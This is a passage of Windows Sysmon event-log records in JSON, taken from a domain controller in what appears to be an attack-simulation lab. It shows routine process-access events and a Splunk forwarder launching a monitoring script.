T4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-00105C530300}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-00105C530300}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.424\r\nProcessGuid: {90617006-3FE9-5F2D-0000-001066550300}\r\nProcessId: 3584\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\admon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.424","ProcessGuid":"{90617006-3FE9-5F2D-0000-001066550300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\admon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-001066550300}\r\nTargetProcessId: 3584\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program 